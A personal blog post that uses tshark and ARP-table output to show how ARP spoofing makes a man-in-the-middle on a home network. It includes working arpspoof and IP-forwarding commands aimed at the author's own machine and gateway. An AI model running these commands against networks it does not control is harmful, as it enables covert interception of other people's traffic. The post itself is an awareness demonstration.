Using tshark to find the man in the middle

This post is targeted at people that understand ip addresses, default gateways and have heard of arp, but don’t play with them often enough to realize how vulnerable we are to man in the middle attacks.

Back in the old days, the network hardware was often a hub, and hubs had a property that all the computers connected to a hub could see each others traffic.  This meant if my computer and tori-the-lori were on the same hub tori-the-lori could see all my network traffic. This sound like weak security.  In time the world invented switches, and now almost all networking uses switches. Switches differ from hubs in that computers only see traffic that is sent to them, not everyone's traffic.  This difference should fix the weak security right?   Well, as with most things security the devil is in the details. Lets dig in.

When a computer wants to talk another computer by IP address, it needs to find the MAC address for the IP address, this is done via ARP.  Lets have a look at my home network.

Background info:
    My machine is @  192.168.1.101
    Tori-The-Lori is another machine in my network @ 192.168.1.100
    My default gateway is @ 192.168.1.1 

 C:\Users\igord>ipconfig | findstr 192.168.1.1 
   IPv4 Address. . . . . . . . . . . : 192.168.1.101 
   Default Gateway . . . . . . . . . : 192.168.1.1 

C:\Users\igord>ping -4 tori-the-lori 
Pinging tori-the-lori [192.168.1.100] with 32 bytes of data:

Q: How does my machine know where to find 192.168.1.100?
A: 192.168.1.100 has a MAC address  - MAC addresses are stored in the arp table, lets look at the ARP table: 

PS C:\> arp -a | findstr 192.168.1.100 
  192.168.1.100         00-22-5f-7e-f5-79     dynamic

Q: Can I erase that entry from  ARP table?
A:  Yup

PS C:\> arp -d 192.168.1.100
PS C:\> arp -a | findstr 192.168.1.100

Q: If I delete the ARP entry how will my machine find 192.168.1.100 again?
A: Lets watch arp traffic in tshark :) 

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "arp"
Capturing on Microsoft
  7.202265 IntelCor_2f:5a:22 -> Broadcast    ARP Who has 192.168.1.100?  Tell 192.168.1.101
  7.207136 LiteonTe_7e:f5:79 -> IntelCor_2f:5a:22 ARP 192.168.1.100 is at 00:22:5f:7e:f5:79

Q: How does my machine get a packet to bing?
A: My machine uses DNS to get the IP address, then my machine uses the default gateway (192.168.1.1) to send the packet to bing(69.31.112.153). 

Pinging a134.g.akamai.net [69.31.112.153] with 32 bytes of data:
Reply from 69.31.112.153: bytes=32 time=50ms TTL=54

Back in Wireshark: 

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "icmp" -T fields -e eth.src -e eth.dst -e ip.src -e ip.dst
Capturing on Microsoft
00:21:6a:2f:5a:22       00:08:54:87:86:9c       192.168.1.101   69.31.112.153
00:08:54:87:86:9c       00:21:6a:2f:5a:22       69.31.112.153   192.168.1.101

Notice the packet to and from bing's IP address is my default gateway: 

PS C:\Program Files (x86)\Wireshark> arp -a  | findstr 192.168.1.1
Interface: 192.168.1.101 --- 0xe
  192.168.1.1           00-08-54-87-86-9c     dynamic

Q: Can someone evil say  they are 192.168.1.1?

A: Yup. I can transform my happy linux laptop, via these commands into an evil man in the middle:

#enable routing 
vmplanet@ubuntu-vm:~$ sudo sysctl -w net.ipv4.ip_forward=1 

# tell 101 I’m really the default gateway. 
vmplanet@ubuntu-vm:~$ sudo arpspoof -t 192.168.1.101 192.168.1.1   > /dev/null 

#tell the default gateway I’m really 101.
vmplanet@ubuntu-vm:~$ sudo arpspoof -t 192.168.1.1 192.168.1.101   > /dev/null

Q: What do I see on my windows box?

A: I wouldn’t be looking, but if you were you’d see this: 

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "arp or icmp"
Capturing on Microsoft
  0.697050 IntelCor_2f:5a:22 -> IntelCor_2f:5a:22 ARP 192.168.1.1 is at 00:21:6a:2f:5a:22
  1.997779 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
  2.698765 IntelCor_2f:5a:22 -> IntelCor_2f:5a:22 ARP 192.168.1.1 is at 00:21:6a:2f:5a:22
  3.022153 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
  3.584377 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
  4.699856 IntelCor_2f:5a:22 -> IntelCor_2f:5a:22 ARP 192.168.1.1 is at 00:21:6a:2f:5a:22
  4.765403 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
  6.445970 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
  6.555464 192.168.1.103 -> 192.168.1.1  ICMP Redirect (Redirect for host)
  6.653009 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)

Or maybe this: 

PS C:\Program Files (x86)\Wireshark> arp -a | findstr 192.168.1.1
Interface: 192.168.1.101 --- 0xe
  192.168.1.1           00-21-6a-2f-5a-22     dynamic
  192.168.1.100         00-22-5f-7e-f5-79     dynamic
  192.168.1.103         00-21-6a-2f-5a-22     dynamic

What the heck?  192.168.1.103 has now hijacked my ARP entry for the default gateway (compare to what 192.168.1.1 was above)

Unfortunately, when I ping bing.com things still look right: 

Pinging a134.g.akamai.net [69.31.112.82] with 32 bytes of data:
Reply from 69.31.112.82: bytes=32 time=37ms TTL=54

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "icmp"
Capturing on Microsoft
  5.758262 192.168.1.101 -> 69.31.112.82 ICMP Echo (ping) request
  5.794958 69.31.112.82 -> 192.168.1.101 ICMP Echo (ping) reply
  6.760151 192.168.1.101 -> 69.31.112.82 ICMP Echo (ping) request
 11.304182 192.168.1.101 -> 69.31.112.82 ICMP Echo (ping) request
 16.304111 192.168.1.101 -> 69.31.112.82 ICMP Echo (ping) request

But when we look closely, like at the  the MAC addresses – we realize all are packets go the man in the middle :(

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "icmp" -T fields -e eth.src -e eth.dst -e ip.src -e ip.dst -e icmp
Capturing on Microsoft
00:21:6a:2f:5a:22       00:08:54:87:86:9c       192.168.1.101   69.31.112.106   icmp
00:08:54:87:86:9c       00:21:6a:2f:5a:22       69.31.112.106   192.168.1.101   icmp
00:21:6a:2f:5a:22       00:08:54:87:86:9c       192.168.1.101   69.31.112.106   icmp
00:08:54:87:86:9c       00:21:6a:2f:5a:22       69.31.112.106   192.168.1.101   icmp
00:21:6a:2f:5a:22       00:21:6a:2f:5a:22       192.168.1.101   69.31.112.106   icmp

Now that I’ve shown you how easy it is to become a man in the middle you should be thinking about what you are doing so the man in the middle can’t see you.

Comments

Post a Comment

Popular posts from this blog

Finding CLR exceptions without visual studio

(If you want to understand what exception code 0xe0434352 is, read this post ) Often exceptions are thrown and caught and you don't see them. You probably know how to debug this in Visual Studio, so let me show you how to do it in cdb. Sample Code: class Program { static void Main(string[] args) { foreach (var x in Enumerable.Range(0,2000)) { Thread.Sleep(TimeSpan.FromSeconds(1)); Console.WriteLine("Hello World"); ThrowAndCatchException(); } } private static void ThrowAndCatchException() { try { throw new NotImplementedException(); } catch(Exception) { } } } Output of the application: Hello World Hello World Hello World Nothing about an exception, but you're sure it's happening behind the covers -- fire up cdb: C:\Program Files\Debugging Tools for Windows (x64)>cdb -pn consoleapplication3.exe <SNIP> ModLoad: 000007fe`f7e90000 000007fe`f7eb4000 C:\Windows\Mi...
Read more

Why do I keep getting exception code e0434352?

If you want to know how to debug CLR exceptions using cdb then read this post . Exception code e0434352 is the exception code used internally by the CLR to represent most exceptions(*). Regardless of if you throw a System.NullReferenceException or a System.ArgumentException in C#, you'll throw a SEH exception e0434352 under the covers. A fun way to validate this theory is to watch what happens to the CLR exceptions settings in cdb. Fire up cdb, and see the state of clr exceptions: 0:000> .shell -ci "sx" findstr clr clr - CLR exception - second-chance break - not handled clrn - CLR notification exception - break - handled .shell: Process exited Now, set the exception handler for exception number e0434352 and recheck the value of the clr exception handler: 0:000> sxe e0434352 0:000> .shell -ci "sx" findstr clr clr - CLR exception - break - not handled clrn - CLR notification exception - break - handled .shell: Process exited Armed with ...
Read more

Powershell script to enable windows to capture localhost traffic in wireshark

If you want to understand why the following scripts work read this post . Otherwise just paste the following into an elevated powershell window: Setup windows networking to allow localhost capturing in wireshark: # Find the network configuration that has the default gateway. $defaultAdapter = Get-WMIObject Win32_NetworkAdapterConfiguration | ? {$_.DefaultIPGateway} if (@($defaultAdapter).Length -ne 1) {throw "You don't have 1 default gateway, your network configuration is not supported" } # Route local IP address via the default gateway route add $defaultAdapter.IPAddress[0] $defaultAdapter.DefaultIPGateway Write-Host "Start capturing on localhost by connecting to $($defaultAdapter.IPAddress[0])" Return windows networking to normal configuration: # Find the network configuration that has the default gateway. $defaultAdapter = Get-WMIObject Win32_NetworkAdapterConfiguration | ? {$_.DefaultIPGateway} if (@($defaultAdapter).Length -ne 1) {throw "Y...
Read more